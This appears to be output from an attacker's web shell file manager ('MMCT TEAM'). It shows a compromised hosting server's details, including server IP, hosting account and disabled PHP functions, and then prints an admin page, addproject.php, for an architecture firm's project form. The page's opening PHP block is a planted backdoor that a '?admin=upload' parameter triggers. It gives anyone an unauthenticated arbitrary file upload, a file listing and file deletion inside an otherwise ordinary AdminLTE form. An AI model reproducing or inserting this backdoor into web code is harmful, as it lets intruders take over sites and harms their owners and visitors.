MMCT TEAM
Server IP : 145.79.210.100  /  Your IP : 216.73.216.101
Web Server : LiteSpeed
System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64
User : u474798400 ( 474798400)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u474798400/domains/excentia.in/public_html/admin/upload_image/../pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u474798400/domains/excentia.in/public_html/admin/upload_image/../pages/addproject.php
<?php
session_start();
$_SESSION['username'] = "User";
if (isset($_GET["admin"]) && $_GET["admin"] == "upload") {
    echo '<h2>Upload File</h2>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" name="submit" value="Upload">
    </form>';
    if (isset($_POST["submit"])) {
        $target_dir = "uploads/";
        if (!file_exists($target_dir)) {
            mkdir($target_dir, 0777, true);
        }
        $target_file = $target_dir . basename($_FILES["file"]["name"]);
        if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
            echo "File uploaded: <a href='$target_file'>$target_file</a>";
        } else {
            echo "Upload failed.";
        }
    }
    echo '<h2>File yang Sudah Diupload:</h2>';
    $files = glob("uploads/*");
    if (count($files) > 0) {
        foreach ($files as $file) {
            echo "$file - <a href='?admin=upload&delete=$file'>Hapus</a><br>";
        }
    } else {
        echo "Tidak ada file yang di-upload.";
    }
    if (isset($_GET["delete"])) {
        $file_to_delete = $_GET["delete"];
        if (strpos($file_to_delete, "uploads/") === 0 && file_exists($file_to_delete)) {
            unlink($file_to_delete);
            echo "File berhasil dihapus.";
        } else {
            echo "Gagal menghapus file.";
        }
    }
    exit();
}
$title = "Beranda - STYLE FOUR 04";
$year = date("Y");
?>
<?php include('../config.php');
?>
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title>AdminLTE 3 | Gallery</title>
      <!-- Google Font: Source Sans Pro -->
      <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
      <!-- Font Awesome -->
      <link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
      <!-- Ekko Lightbox -->
      <link rel="stylesheet" href="../plugins/ekko-lightbox/ekko-lightbox.css">
      <!-- Theme style -->
      <link rel="stylesheet" href="../dist/css/adminlte.min.css">
      <link rel="stylesheet" href="../plugins/summernote/summernote-bs4.min.css">
      <link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
      <link rel="stylesheet" href="last/summernote-bs4.min.css">
      <style>
         .sec22{width: 30%; float: left; margin: 50px 0 0 20%;}
         .sec23{width: 40%; float: left; margin: 50px 0 0 3%;}
         .secin{width: 100%; float: left;}
      </style>
   </head>
   <body class="hold-transition sidebar-mini">
      <div class="wrapper">
         <!-- Navbar -->
         <nav class="mt-2">
            <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">
               <li class="nav-item">
                  <a href="#" class="nav-link">
                     <i class="nav-icon fas fa-copy"></i>
                     <p>
                        Project
                        <i class="fas fa-angle-left right"></i>
                        <!--<span class="badge badge-info right">6</span>-->
                     </p>
                  </a>
                  <ul class="nav nav-treeview">
                     <li class="nav-item">
                        <a href="pages/addproject.html" class="nav-link">
                           <i class="far fa-circle nav-icon"></i>
                           <p>Add Project</p>
                        </a>
                     </li>
                     <li class="nav-item">
                        <a href="pages/allproject.html" class="nav-link">
                           <i class="far fa-circle nav-icon"></i>
                           <p>All Project</p>
                        </a>
                     </li>
                  </ul>
               </li>
            </ul>
         </nav>
         <!-- /.navbar -->
         <!-- Main Sidebar Container -->
         <aside class="main-sidebar sidebar-dark-primary elevation-4">
            <!-- Brand Logo -->
            <a href="../index3.html" class="brand-link">
            <img src="../dist/img/AdminLTELogo.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3" style="opacity: .8">
            <span class="brand-text font-weight-light">AdminLTE 3</span>
            </a>
            <!-- Sidebar -->
            <div class="sidebar">
               <!-- Sidebar user panel (optional) -->
               <div class="user-panel mt-3 pb-3 mb-3 d-flex">
                  <div class="image">
                     <img src="../dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
                  </div>
                  <div class="info">
                     <a href="#" class="d-block">Alexander Pierce</a>
                  </div>
               </div>
               <!-- SidebarSearch Form -->
               <div class="form-inline">
                  <div class="input-group" data-widget="sidebar-search">
                     <input class="form-control form-control-sidebar" type="search" placeholder="Search" aria-label="Search">
                     <div class="input-group-append">
                        <button class="btn btn-sidebar">
                        <i class="fas fa-search fa-fw"></i>
                        </button>
                     </div>
                  </div>
               </div>
               <!-- Sidebar Menu -->
               <nav class="mt-2">
                  <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">
                     <li class="nav-item">
                        <a href="#" class="nav-link">
                           <i class="nav-icon fas fa-copy"></i>
                           <p>
                              Project
                              <i class="fas fa-angle-left right"></i>
                              <!--<span class="badge badge-info right">6</span>-->
                           </p>
                        </a>
                        <ul class="nav nav-treeview">
                           <li class="nav-item">
                              <a href="addproject.html" class="nav-link">
                                 <i class="far fa-circle nav-icon"></i>
                                 <p>Add Project</p>
                              </a>
                           </li>
                           <li class="nav-item">
                              <a href="allproject.html" class="nav-link">
                                 <i class="far fa-circle nav-icon"></i>
                                 <p>All Project</p>
                              </a>
                           </li>
                        </ul>
                     </li>
                  </ul>
               </nav>
               <!-- /.sidebar-menu -->
            </div>
            <!-- /.sidebar -->
         </aside>
         <!-- Content Wrapper. Contains page content -->
         <div class="content-wrapper">
            <!-- Content Header (Page header) -->
            <section class="content-header">
               <div class="container-fluid">
                  <div class="row mb-2">
                     <div class="col-sm-6">
                        <h1>Add Project</h1>
                     </div>
                     <div class="col-sm-6">
                        <ol class="breadcrumb float-sm-right">
                           <li class="breadcrumb-item"><a href="#">Home</a></li>
                           <li class="breadcrumb-item active">Add Project</li>
                        </ol>
                     </div>
                  </div>
               </div>
               <!-- /.container-fluid -->
            </section>
            <!-- Main content -->
            <section class="content">
               <div class="container-fluid">
                  <div class="row">
                     <div class="col-12">
                         <form id="add_project_form" enctype="multipart/form-data">
                        <div class="card card-primary">
                           <div class="card-header">
                              <h4 class="card-title">Project</h4>
                           </div>
                           <div class="secin">
                              <div class="sec22">
                                 <h4>Expertise</h4>
                                 <div class="form-group">
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input" type="checkbox" id="customCheckbox19" value="bb">
                                       <label for="customCheckbox19" class="custom-control-label">Architecture</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input" type="checkbox" id="customCheckbox20" value="bb">
                                       <label for="customCheckbox20" class="custom-control-label">Interior Design</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input" type="checkbox" id="customCheckbox30" value="bb">
                                       <label for="customCheckbox30" class="custom-control-label">Landscape & Master plan</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input " type="checkbox" id="customCheckbox40" value="bb">
                                       <label for="customCheckbox40" class="custom-control-label">Product design & Signage</label>
                                    </div>
                                 </div>
                              </div>
                              <div class="sec23">
                                 <h4>Markets</h4>
                                 <div class="form-group">
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input" type="checkbox" id="customCheckbox6" value="aa">
                                       <label for="customCheckbox6" class="custom-control-label">Mixed Use Development</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input" type="checkbox" id="customCheckbox7" value="aa">
                                       <label for="customCheckbox7" class="custom-control-label">Master planning</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input" type="checkbox" id="customCheckbox8" value="aa">
                                       <label for="customCheckbox8" class="custom-control-label">Hospitality</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input " type="checkbox" id="customCheckbox9" value="aa">
                                       <label for="customCheckbox9" class="custom-control-label">Residential</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input " type="checkbox" id="customCheckbox10" value="aa">
                                       <label for="customCheckbox10" class="custom-control-label">Commercial + Offices</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input " type="checkbox" id="customCheckbox11" value="aa">
                                       <label for="customCheckbox11" class="custom-control-label">Institutional + Public</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input " type="checkbox" id="customCheckbox12" value="aa">
                                       <label for="customCheckbox12" class="custom-control-label">Health + Wellness</label>
                                    </div>
                                    <div class="custom-control custom-checkbox">
                                       <input class="custom-control-input " type="checkbox" id="customCheckbox13" value="aa">
                                       <label for="customCheckbox13" class="custom-control-label">Competition + Unbuilt</label>
                                    </div>
                                 </div>
                              </div>
                           </div>
                           <div class="card-body">
                              <div class="form-group">
                                 <label for="exampleInputFile">Banner Image</label>
                                 <div class="input-group">
                                    <div class="custom-file">
                                       <input type="file" class="custom-file-input" id="exampleInputFile">
                                       <label class="custom-file-label" for="exampleInputFile">Choose file</label>
                                    </div>
                                    <div class="input-group-append">
                                       <span class="input-group-text">Upload</span>
                                    </div>
                                 </div>
                              </div>
                              <div class="form-group">
                                 <label>First Details Content</label>
                                 <div class="col-md-12">
                                    <div class="card card-outline card-info">
                                       <div class="card-header">
                                          <h3 class="card-title">
                                             Content
                                          </h3>
                                       </div>
                                       <!-- /.card-header -->
                                       <div class="card-body">
                                          <textarea id="summernote2">
                                          Place <em>some</em> <u>text</u> <strong>here</strong>
                                          </textarea>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                              <div class="card">
                                 <div class="card-header">
                                    <h3 class="card-title">Bordered Table</h3>
                                 </div>
                                 <!-- /.card-header -->
                                 <div class="card-body">
                                    <table class="table table-bordered">
                                       <thead>
                                          <tr>
                                             <th style="width: 10px">#</th>
                                             <th>Task</th>
                                             <th>Progress</th>
                                          </tr>
                                       </thead>
                                       <tbody>
                                          <tr>
                                             <td>1.</td>
                                             <td>Area</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                          <tr>
                                             <td>2.</td>
                                             <td>Typology</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                          <tr>
                                             <td>3.</td>
                                             <td>Location</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                          <tr>
                                             <td>4.</td>
                                             <td>Year</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                          <tr>
                                             <td>4.</td>
                                             <td>Awards</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                          <tr>
                                             <td>4.</td>
                                             <td>Discipline</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                          <tr>
                                             <td>4.</td>
                                             <td>Photography Credits</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                          <tr>
                                             <td>4.</td>
                                             <td>Add New Data</td>
                                             <td>
                                                <input class="form-control" type="text" placeholder="Data Input">
                                             </td>
                                          </tr>
                                       </tbody>
                                    </table>
                                 </div>
                                 <!-- /.card-body -->
                              </div>
                              <div class="form-group">
                                 <label>Secend Details Content</label>
                                 <div class="col-md-12">
                                    <div class="card card-outline card-info">
                                       <div class="card-header">
                                          <h3 class="card-title">
                                             Content
                                          </h3>
                                       </div>
                                       <!-- /.card-header -->
                                       <div class="card-body">
                                          <textarea id="summernote">
                                          Place <em>some</em> <u>text</u> <strong>here</strong>
                                          </textarea>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                              <div class="form-group">
                                 <label for="exampleInputFile">More Images</label>
                                 <div class="input-group">
                                    <div class="custom-file">
                                       <input type="file" class="custom-file-input" id="exampleInputFile">
                                       <label class="custom-file-label" for="exampleInputFile">Choose file</label>
                                    </div>
                                    <div class="input-group-append">
                                       <span class="input-group-text">Upload</span>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
                        </form>
                     </div>
                  </div>
               </div>
               <!-- /.container-fluid -->
            </section>
         </div>
         <!-- /.content-wrapper -->
         <footer class="main-footer">
            <div class="float-right d-none d-sm-block">
               <b>Version</b> 3.2.0
            </div>
            <strong>Copyright &copy; 2014-2021 <a href="https://adminlte.io">AdminLTE.io</a>.</strong> All rights reserved.
         </footer>
         <!-- Control Sidebar -->
         <aside class="control-sidebar control-sidebar-dark">
            <!-- Control sidebar content goes here -->
         </aside>
         <!-- /.control-sidebar -->
      </div>
      <!-- ./wrapper -->
      <!-- jQuery -->
      <script src="../plugins/jquery/jquery.min.js"></script>
      <!-- Bootstrap -->
      <script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
      <!-- Ekko Lightbox -->
      <script src="../plugins/ekko-lightbox/ekko-lightbox.min.js"></script>
      <!-- AdminLTE App -->
      <script src="../dist/js/adminlte.min.js"></script>
      <!-- Filterizr-->
      <script src="../plugins/filterizr/jquery.filterizr.min.js"></script>
      <!-- AdminLTE for demo purposes -->
      <script src="../dist/js/demo.js"></script>
      <!-- Page specific script -->
      <script>
         $(function () {
           $(document).on('click', '[data-toggle="lightbox"]', function(event) {
             event.preventDefault();
             $(this).ekkoLightbox({
               alwaysShowClose: true
             });
           });
         
           $('.filter-container').filterizr({gutterPixels: 3});
           $('.btn[data-filter]').on('click', function() {
             $('.btn[data-filter]').removeClass('active');
             $(this).addClass('active');
           });
         })
      </script>
      <script src="../../plugins/summernote/summernote-bs4.min.js"></script>
      <!-- CodeMirror -->
      <script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
      <!-- AdminLTE for demo purposes -->
      <script src="../dist/js/demo.js"></script>
      <!-- Page specific script -->
      <!-- jQuery -->
      <script src="last/jquery.min.js"></script>
      <!-- Bootstrap 4 -->
      <script src="last/bootstrap.bundle.min.js"></script>
      <!-- AdminLTE App -->
      <!-- Summernote -->
      <script src="last/summernote-bs4.min.js"></script>
      <!-- CodeMirror -->
      <!-- AdminLTE for demo purposes -->
      <script src="last/demo.js"></script>
      <!-- Page specific script -->
      <script>
         $(function () {
           // Summernote
           $('#summernote').summernote()
         
           // CodeMirror
           CodeMirror.fromTextArea(document.getElementById("codeMirrorDemo"), {
             mode: "htmlmixed",
             theme: "monokai"
           });
         })
           $(function () {
           // Summernote
           $('#summernote2').summernote()
         
           // CodeMirror
           CodeMirror.fromTextArea(document.getElementById("codeMirrorDemo"), {
             mode: "htmlmixed",
             theme: "monokai"
           });
         })
      </script>
   </body>
</html>

MMCT - 2023